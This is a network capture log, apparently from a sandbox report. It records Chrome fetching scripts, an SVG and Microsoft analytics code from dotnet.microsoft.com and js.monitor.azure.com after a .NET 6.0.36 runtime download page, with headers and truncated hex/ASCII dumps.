2024-11-23 20:11:30 UTC	8510	IN	Data Raw: 00 80 00 80 07 00 07 00 00 03 00 07 00 0b 00 00 01 11 21 11 05 21 11 21 01 21 35 21 07 00 f9 80 06 00 fa 80 05 80 ff 00 fc 80 03 80 07 00 f9 80 06 80 80 fa 80 02 80 80 00 04 00 00 00 00 08 00 08 00 00 2b 00 47 00 5b 00 6f 00 00 01 23 34 2e 04 23 22 0e 04 15 14 1e 04 33 15 22 24 2e 02 02 35 34 12 3e 02 24 33 32 04 1e 02 12 01 32 1e 02 15 23 34 2e 02 23 22 0e 02 15 14 16 17 07 2e 01 35 34 3e 02 13 32 1e 02 15 14 0e 02 23 22 2e 02 35 34 3e 02 13 32 3e 02 35 34 2e 02 23 22 0e 02 15 14 1e 02 08 00 80 40 75 a4 c7 e5 7b 7c e4 c7 a4 75 40 40 75 a4 c7 e5 7b 8e fe fb e4 bb 85 49 49 85 bb e4 01 06 8d 8d 01 06 e4 bb 85 49 fc 00 85 e9 ae 64 80 51 8b ba 6a 6a ba 8b 51 4d 49 5b 5b 60 64 ae e9 85 35 5d 46 28 28 46 5d 35 35 5d 46 28 28 46 5d 35 1b 2e 23 14 14 23 2e 1b 1b Data Ascii: !!!!5!+G[o#4.#"3"$.54>$322#4.#".54>2#".54>2>54.#"@u{\|u@@u{IIIdQjjQMI[[`d5]F((F]55]F((F]5.##.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49760	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:30 UTC	696	OUT	GET /static/js/cookie-consent.min.js?v=FHFCx1hh_QkQajxu-2Dq5V6s4Ruc2mPyLTzAOPDnJwI HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:30 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:30 GMT Content-Type: text/javascript Content-Length: 5074 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5997d2" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=85.92104697585397; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201130Z-178bfbc474bfw4gbhC1NYCunf400000004w000000000hcgy X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:30 UTC	5074	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 6f 6f 6b 69 65 2d 63 6f 6e 73 65 6e 74 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 32 35 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3d 6e 28 32 35 38 31 29 2c 72 3d 6e 28 34 35 35 32 29 2c 69 3d 6f 2e 61 6e 61 6c 79 74 69 63 73 3b 72 2e 61 6e 61 6c 79 74 69 63 73 3d 69 2c 65 2e 65 78 70 6f 72 74 73 3d 6f 7d 2c 34 35 35 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 20 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 Data Ascii: /! For license information please see cookie-consent.min.js.LICENSE.txt /(()=>{var e={1256:(e,t,n)=>{var o=n(2581),r=n(4552),i=o.analytics;r.analytics=i,e.exports=o},4552:(e,t,n)=>{"use strict";function o(e){return o="function"==typeof Symbol&&"symbol"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49762	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:30 UTC	727	OUT	GET /blob-assets/images/illustrations/downloading.svg HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:30 UTC	542	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:30 GMT Content-Type: image/svg+xml Content-Length: 43905 Connection: close Cache-Control: public, max-age=31536000 Content-MD5: WqqMN81Zl5uSDNIcSlCjjQ== Last-Modified: Wed, 22 May 2024 01:32:39 GMT ETag: 0x8DC79FF1128EED6 x-ms-request-id: 7f709d45-001e-0050-60e3-3d1c23000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T201130Z-174c587ffdfcb7qhhC1TEB3x7000000003h000000000779p X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:30 UTC	15842	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y
2024-11-23 20:11:30 UTC	92	IN	Data Raw: 73 74 34 39 38 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 37 39 5f 29 3b 7d 0d 0a 09 2e 73 74 34 39 39 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 30 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 30 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 31 5f Data Ascii: st498{fill:url(#SVGID_279_);}.st499{fill:url(#SVGID_280_);}.st500{fill:url(#SVGID_281_
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 29 3b 7d 0d 0a 09 2e 73 74 35 30 31 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 32 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 32 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 33 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 33 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 34 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 34 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 35 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 35 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 36 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 36 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 37 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 37 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 32 38 38 5f 29 3b 7d 0d 0a 09 2e 73 74 35 30 38 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 Data Ascii: );}.st501{fill:url(#SVGID_282_);}.st502{fill:url(#SVGID_283_);}.st503{fill:url(#SVGID_284_);}.st504{fill:url(#SVGID_285_);}.st505{fill:url(#SVGID_286_);}.st506{fill:url(#SVGID_287_);}.st507{fill:url(#SVGID_288_);}.st508{fill:url(#S
2024-11-23 20:11:31 UTC	11587	IN	Data Raw: 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 30 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 31 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 31 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 32 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 32 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 33 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 33 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 34 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 34 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 35 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 35 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 36 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 36 7b 66 69 6c 6c 3a 75 72 6c 28 23 53 56 47 49 44 5f 34 36 37 5f 29 3b 7d 0d 0a 09 2e 73 74 39 30 37 7b 66 69 6c 6c 3a 75 72 6c 28 23 Data Ascii: _);}.st900{fill:url(#SVGID_461_);}.st901{fill:url(#SVGID_462_);}.st902{fill:url(#SVGID_463_);}.st903{fill:url(#SVGID_464_);}.st904{fill:url(#SVGID_465_);}.st905{fill:url(#SVGID_466_);}.st906{fill:url(#SVGID_467_);}.st907{fill:url(#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49761	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:30 UTC	698	OUT	GET /static/js/culture-selector.min.js?v=mcD2sjpKkPOr9l_l-eyAH9oHE6yzuSTGpr7HFwC7M28 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:30 UTC	756	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:30 GMT Content-Type: text/javascript Content-Length: 1754 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5982da" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=13.256500564142836; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201130Z-178bfbc474bnwsh4hC1NYC2ubs0000000540000000000r15 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:30 UTC	1754	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 63 75 6c 74 75 72 65 2d 73 65 6c 65 63 74 6f 72 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 6e 29 65 5b 72 5d 3d 6e 5b 72 5d 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6f 2c 69 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 Data Ascii: /! For license information please see culture-selector.min.js.LICENSE.txt /(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)e[r]=n[r]}return e}var t=function t(n,r){function o(t,o,i){if("undefined"!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:30 UTC	379	OUT	GET /scripts/c/ms.analytics-web-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:31 UTC	905	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:30 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 157941 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:50 GMT ETag: 0x8DCEC758796556E x-ms-request-id: 6a1099c4-901e-0026-1d66-306559000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.analytics-web-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241123T201130Z-178bfbc474bnwsh4hC1NYC2ubs00000005100000000097ar x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 20:11:31 UTC	15479	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 41 6e 61 6c 79 74 69 63 73 20 57 65 62 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 74 29 6e 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: /! 1DS JS SDK Analytics Web, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 6e 2c 74 3d 6e 3b 72 65 74 75 72 6e 20 51 28 6e 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 28 29 2c 65 7d 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 26 26 6e 28 29 2c 65 7d 29 2c 6f 28 65 2c 74 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 67 6e 28 29 26 26 28 61 5b 70 6e 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 49 50 72 6f 6d 69 73 65 20 22 2b 64 28 29 2b 28 73 3f 22 20 2d 20 22 2b 61 69 28 63 29 3a 22 22 29 7d 2c 51 28 74 29 7c 7c 4f 65 28 47 72 2b 22 3a 20 65 78 65 63 75 74 6f 72 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e Data Ascii: ion(n){var e=n,t=n;return Q(n)&&(e=function(e){return n&&n(),e},t=function(e){throw n&&n(),e}),o(e,t)}},"state",{get:d}),gn()&&(a[pn(11)]="IPromise"),a.toString=function(){return"IPromise "+d()+(s?" - "+ai(c):"")},Q(t)\|\|Oe(Gr+": executor is not a function
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 6e 64 41 6c 6c 7d 29 3b 76 65 28 75 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 24 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 2c 65 5b 58 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 5b 6e 65 5d 28 65 29 7d 2c 65 5b 6a 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 43 6e 28 69 2c 65 29 3b 2d 31 3c 6e 3b 29 69 5b 4b 74 5d 28 6e 2c 31 29 2c 6e 3d 43 6e 28 69 2c 65 29 7d 2c 65 5b 45 69 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6f 63 28 69 2c 45 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 45 69 5d 28 6e 29 7d 29 7d 2c 65 5b 4e 69 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 6f 63 28 69 2c 4e 69 2c 61 2c 66 75 6e 63 74 69 6f 6e Data Ascii: ndAll});ve(uc,this,function(e){$(e,"listeners",{g:function(){return i}}),e[Xt]=function(e){i[ne](e)},e[jt]=function(e){for(var n=Cn(i,e);-1<n;)i[Kt](n,1),n=Cn(i,e)},e[Ei]=function(n){oc(i,Ei,a,function(e){e[Ei](n)})},e[Ni]=function(n,t){oc(i,Ni,a,function
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 6c 65 28 74 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 43 65 28 72 2c 65 29 7c 7c 6e 2e 73 65 74 28 74 2c 65 2c 76 69 29 7d 29 2c 6e 5b 42 74 5d 28 74 2c 4a 63 29 7d 2c 21 30 29 2c 49 5b 4c 74 5d 28 29 2c 6e 26 26 79 28 6e 29 7d 2c 66 2e 65 76 74 4e 61 6d 65 73 70 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 2c 66 2e 66 6c 75 73 68 3d 6d 2c 66 2e 67 65 74 54 72 61 63 65 43 74 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 55 7c 7c 28 6e 3d 7b 7d 2c 55 3d 7b 67 65 74 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 5b 6e 72 5d 7d 2c 73 65 74 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 5b 6e 72 5d 3d 65 7d 2c 67 65 74 54 72 61 63 65 49 64 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: le(t,function(e){Ce(r,e)\|\|n.set(t,e,vi)}),n[Bt](t,Jc)},!0),I[Lt](),n&&y(n)},f.evtNamespace=function(){return x},f.flush=m,f.getTraceCtx=function(e){var n;return U\|\|(n={},U={getName:function(){return n[nr]},setName:function(e){n[nr]=e},getTraceId:function(
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 4b 65 79 28 29 2c 61 29 29 2c 72 26 26 28 70 2e 62 61 74 63 68 65 73 2e 70 75 73 68 28 76 29 2c 70 2e 70 61 79 6c 6f 61 64 42 6c 6f 62 3d 6e 2c 70 2e 6e 75 6d 45 76 65 6e 74 73 3d 74 2c 6f 3d 76 2e 69 4b 65 79 28 29 2c 2d 31 3d 3d 3d 43 6e 28 70 2e 61 70 69 4b 65 79 73 2c 6f 29 26 26 70 2e 61 70 69 4b 65 79 73 2e 70 75 73 68 28 6f 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 70 61 79 6c 6f 61 64 3a 70 2c 74 68 65 42 61 74 63 68 3a 7b 69 4b 65 79 3a 76 2e 69 4b 65 79 28 29 2c 65 76 74 73 3a 76 2e 65 76 65 6e 74 73 28 29 7d 2c 6d 61 78 3a 68 7d 7d 29 2c 65 7d 2c 6d 2e 67 65 74 45 76 65 6e 74 42 6c 6f 62 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 68 63 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: Key(),a)),r&&(p.batches.push(v),p.payloadBlob=n,p.numEvents=t,o=v.iKey(),-1===Cn(p.apiKeys,o)&&p.apiKeys.push(o))},function(){return{payload:p,theBatch:{iKey:v.iKey(),evts:v.events()},max:h}}),e},m.getEventBlob=function(i){try{return hc(n,function(){retur
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 63 65 73 73 4e 65 78 74 28 65 2c 6e 29 7d 2c 6f 2e 67 65 74 4f 66 66 6c 69 6e 65 53 75 70 70 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 42 26 26 42 5b 65 6c 5d 28 29 3b 69 66 28 42 29 72 65 74 75 72 6e 7b 67 65 74 55 72 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 75 72 6c 3a 6e 75 6c 6c 7d 2c 73 65 72 69 61 6c 69 7a 65 3a 69 2c 62 61 74 63 68 3a 74 2c 73 68 6f 75 6c 64 50 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 74 65 7d 2c 63 72 65 61 74 65 50 61 79 6c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 63 72 65 61 74 65 4f 6e 65 44 53 50 61 79 6c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 42 5b 74 6c 5d 29 72 Data Ascii: cessNext(e,n)},o.getOfflineSupport=function(){try{var e=B&&B[el]();if(B)return{getUrl:function(){return e?e.url:null},serialize:i,batch:t,shouldProcess:function(e){return!te},createPayload:function(e){return null},createOneDSPayload:function(e){if(B[tl])r
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 73 65 73 73 69 6f 6e 41 73 47 75 69 64 3a 6e 75 6c 6c 2c 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 3a 76 6f 28 29 2c 6e 61 6d 65 50 72 65 66 69 78 3a 76 6f 28 29 2c 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 3a 21 31 2c 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 55 73 65 72 3a 21 31 2c 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 3a 21 31 2c 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 3a 21 31 2c 73 63 72 75 62 49 70 4f 6e 6c 79 3a 21 31 2c 63 61 6c 6c 62 61 63 6b 3a 6c 6f 28 7b 75 73 65 72 43 6f 6e 73 65 6e 74 44 65 74 61 69 6c 73 3a 6e 75 6c 6c 7d 29 2c 67 70 63 44 61 74 61 53 68 61 72 69 6e 67 4f 70 74 49 6e 3a 55 76 2c 69 64 4c 65 6e 67 74 68 3a 32 32 2c 65 6e 61 62 6c 65 44 69 Data Ascii: sessionAsGuid:null,cookieDomain:vo(),namePrefix:vo(),enableApplicationInsightsTrace:!1,enableApplicationInsightsUser:!1,hashIdentifiers:!1,dropIdentifiers:!1,scrubIpOnly:!1,callback:lo({userConsentDetails:null}),gpcDataSharingOptIn:Uv,idLength:22,enableDi
2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 3d 30 3b 69 3c 59 70 5b 5f 70 5d 3b 69 2b 2b 29 72 3d 72 7c 7c 2d 31 21 3d 3d 47 6e 28 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 70 5b 69 5d 29 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 69 3d 30 3b 69 3c 65 5b 5f 70 5d 3b 69 2b 2b 29 69 66 28 65 5b 69 5d 3c 30 7c 7c 65 5b 69 5d 3e 3d 4a 70 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 74 76 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 6e 76 3d 74 76 3b 66 75 6e 63 74 69 6f 6e 20 74 76 28 65 29 7b 76 61 72 20 75 3d 77 6f 28 65 29 3b 76 65 28 74 76 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 5b 6d 70 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 73 56 61 6c 69 64 3d 21 31 3b 76 61 72 20 6e 3d 28 6e 3d 57 6e 28 29 29 26 26 6e 2e 67 65 74 45 6e 74 72 69 65 Data Ascii: =0;i<Yp[_p];i++)r=r\|\|-1!==Gn(t.toLowerCase(),Yp[i]);if(r)return!1;for(i=0;i<e[_p];i++)if(e[i]<0\|\|e[i]>=Jp)return!1;return!0}tv.__ieDyn=1;var nv=tv;function tv(e){var u=wo(e);ve(tv,this,function(c){c[mp]=function(e){e.isValid=!1;var n=(n=Wn())&&n.getEntrie
